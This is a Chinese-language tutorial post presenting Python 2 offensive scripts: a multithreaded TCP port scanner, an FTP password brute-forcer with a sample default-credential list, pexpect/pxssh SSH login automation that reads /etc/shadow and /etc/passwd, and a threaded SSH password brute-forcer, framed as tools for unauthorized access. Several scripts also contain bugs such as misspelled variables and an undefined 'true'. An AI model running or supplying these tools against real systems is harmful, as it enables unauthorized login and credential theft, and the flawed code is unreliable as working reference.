1、TCP端口扫描
任何一个靠谱的网络攻击都是起步于侦查的。攻击者必须在挑选并确定利用目标中的漏洞之前,找出目标在哪里有漏洞。
编写一个扫描目标主机开放的TCP端口的python小脚本。
(1)、套接字:socket
(2)、解析命令行参数:optparse
(3)、多线程:threading
#! /usr/bin/env python
# -*- coding:utf-8 -*-
# __author__ == "tyomcat"
import threading
semaphore=threading.Semaphore(2)
def test():
if semaphore.acquire():
print threading.currentThread().getName()+': get semaphroe!'+'\n'
semaphore.release()
print threading.currentThread().getName()+': release semaphroe!'+'\n'
if __name__ == '__main__':
for i in range(4):
s=threading.Thread(target=test)
s.start()
注:如果多线程同时打印输出,就可能出现乱码和失序,所以加一个信号量 threading.Semaphore(),一个简单的信号量就能阻止其他线程运行。对信号量上锁、解锁。
#! /usr/bin/python
# -*-coding:utf-8 -*-
# __author__ = 'tyomcat'
import optparse
from socket import *
import threading
screenLock=threading.Semaphore(value=1)
def connScan(tgtIP,tgtPort):
try:
connSkt = socket(AF_INET,SOCK_STREAM)
connSkt.connect((tgtIP,tgtPort))
connSkt.send('---------------------')
results= connSkt.recv(2048)
screenLock.acquire()
print '[+] %d/tcp open'% tgtPort
print '[+] received information: ' +str(results)
except:
screenLock.acquire()
print '[-] %d/tcp closed'% tgtPort
finally:
screenLock.release()
connSkt.close()
def portScan(tgtHost,tgtPosts):
try:
tgtIP = gethostbyname(tgtHost)
except:
print "[-] Cannot resolve '%s': unKnown host " % tgtHost
return
try:
tgtName = gethostbyaddr(tgtIP)
print '\n[+] Scan Result for Host : ' + tgtName[0]
except:
print '\n[+] Scan Result for IP : ' + tgtIP
setdefaulttimeout(1)
for tgtPort in tgtPosts:
print "Scanning port " + tgtPort
t=threading.Thread(target=connScan,args=(tgtIP,int(tgtPort)))
t.start()
if __name__ == '__main__':
parser = optparse.OptionParser('Usage:\n -H <target_host/target_ip> -p <target_port[s]>')
parser.add_option('-H',dest='target_host',type='string',help='specify target host')
parser.add_option('-p',dest='target_port',type='string',help='specify target port[s]')
(options,args)=parser.parse_args()
tgtHost=options.target_host
tgtPorts=options.target_port.split(',')
if (tgtHost == None ) | (tgtPorts[0] == None):
print parser.usage
exit(0)
portScan(tgtHost,tgtPorts)
2、使用ftplib暴力破解FTP用户口令
虽然匿名访问是进入系统的方式之一,但攻击者也能成功地用偷来的用户名/密码访问合法的FTP服务器。
通过遍历用户名:密码对的列表,暴力猜解FTP用户口令
比如 userpass.txt
admin:admin
admin:12345
admin:123456
root:toor
guest:guest
anonymous:anonymous
root:secret
python ftp_brute.py -H 127.0.0.1 -f userpass.txt
#! /usr/bin/python
# -*-coding:utf-8 -*-
# __author__ = "tyomcat"
import ftplib
import optparse
def bruteLogin(hostname,passwdFile):
pF=open(passwdFile,'r')
for line in pF.readlines():
userName=line.split(':')[0]
passWord=line.split(':')[1].strip('\r').strip('\n')
print "[+] Trying: "+userName+"/"+passWord
try:
ftp=ftplib.FTP(hostname)
ftp.login(userName,passWord)
print '\n[*]'+str(hostname)+'FTP Login Succeeded!:'+userName+"/"+passWord
ftp.quit()
return (userName,passWord)
except Exception,e:
pass
print "\n[-] Could not brute force FTP."
return (None,None)
if __name__ == '__main__':
parser = optparse.OptionParser('Usage:\n -H <target host> -f <user:password list>')
parser.add_option('-H',dest='hostname',type='string',help='specify target host')
parser.add_option('-f',dest='passwdFile',type='string',help='specify ftp_login file')
(options,args)=parser.parse_args()
tgtHost=options.hostname
passwdFile=options.passwdFile
if (tgtHost == None ) | ( passwdFile == None):
print parser.usage
exit(0)
bruteLogin(tgtHost,passwdFile)
3、非授权登录SSH
(1)、用pexpect与SSH交互
Pexpect 是一个用来启动子程序并对其进行自动控制的 Python 模块。Pexpect 可以用来和像 ssh、ftp、passwd、telnet 等命令行程序进行自动交互.
run 函数:和os,system()差不多,所不同的是os.system返回的是整数,而run返回字符串。
timeout是等待时间,如果超过就会抛出exception,可以使用except关键字捕获。
spawn 类是通过生成子程序chilld : sendline发送命令与expect获取返回来进行交互。
expect 不断从读入缓冲区中匹配目标正则表达式,当匹配结束时 pexpect 的 before 成员中保存了缓冲区中匹配成功处之前的内容, pexpect 的 after 成员保存的是缓冲区中与目标正则表达式相匹配的内容。
#! /usr/bin/env python
# -*- coding:utf-8 -*-
# __author__ == "tyomcat"
import pexpect
prompt=['# ','>>> ','> ','\$ ']
def send_command(child,cmd):
child.sendline(cmd)
child.expect(prompt)
print child.before
def connect(user,host,password):
ssh_newkey = 'Are you sure you want to continue connecting (yes/no)?'
connStr ='ssh '+user+'@'+host
child=pexpect.spawn(connStr)
ret = child.expect([pexpect.TIMEOUT,ssh_newkey])
if ret == 0:
print '[-] Error Connecting'
return
if ret ==1:
child.sendline('yes')
ret=child.expect([pexpect.TIMEOUT,'[P|p]assword:'])
if ret == 0:
print '[-] Error Connecting'
return
child.sendline(password)
child.expect(prompt)
return chilld
if __name__ == '__main__':
host = 'localhost'
user = 'root'
password = 'toor'
child = connect(user,host,password)
send_command(child,'cat /etc/shadow | grep root')
(2)、用pxssh暴力破解SSH密码 pxssh模块下载
pxssh 是一个包含了pexpect库的专用脚本,它能预先写好的login(),logout()和prompt()等函数直接与SSH进行交互。
#! /usr/bin/env python
# -*- coding:utf-8 -*-
# __author__ == "tyomcat"
import pxssh
def send_command(s,cmd):
s.sendline(cmd)
s.prompt()
print s.before
def connect(user,host,password):
try:
s = pxssh.pxssh()
s.login(user,host,password)
return s
except:
print '[-] Error Connecting'
exit(0)
if __name__ == '__main__':
s = connect('root','127.0.0.1','toor')
send_command(s,'cat /etc/passwd | grep root')
交互时异常显示socket为"read_nonblocking",可能是SSH服务器被大量的连接刷爆了,可以稍等片刻后用相同的密码再试一次;如果该异常显示pxssh命令提示符提取困难,也可以等待一会儿,然后让它再试一次。
#! /usr/bin/env python
# -*- coding:utf-8 -*-
# __author__ == "tyomcat"
import pxssh
import optparse
import time
from threading import *
maxConnections = 5
connection_lock = BoundedSemaphore(value=maxConnections)
Found = False
Fails = 0
def connect(host,user,password,release):
global Found
global Fails
try:
s = pxssh.pxssh()
if s:
time.sleep(10)
s.login(host,user,password)
Found = true
print '[+] Password Found : '+password
except Exception,e:
if 'read_nonblocking ' in str(e):
Fails+=1
time.sleep(5)
connect(host,user,password,False)
elif 'synchronize with original prompt' in str(e):
time.sleep(1)
connect(host,user,password,False)
finally:
if release:
connection_lock.release()
if __name__ == '__main__':
parser = optparse.OptionParser('Usage:\n -H <target host> -u <target user> -f <brute password file>')
parser.add_option('-H',dest='target_host',type='string',help='specify target host')
parser.add_option('-u',dest='username',type='string',help='specify username')
parser.add_option('-f',dest='passwdFile',type='string',help='specify password file')
(options,args)=parser.parse_args()
host=options.target_host
user=options.username
passwdFile=options.passwdFile
if (host == None) | (passwdFile == None) | (user == None):
print parser.usage
exit(0)
f=open(passwdFile,'r')
for line in f.readlines():
connection_lock.acquire()
password = line.strip('\r').strip('\n')
print '[-] Testing : '+password
t=Thread(target=connect,args=(host,user,password,True))
t.start()
if Found:
print '[*] Exiting : passowrd Found!'
exit(0)
if Fails > 5:
print '[!] Exiting : Too Many Socket Timeouts'
exit(0)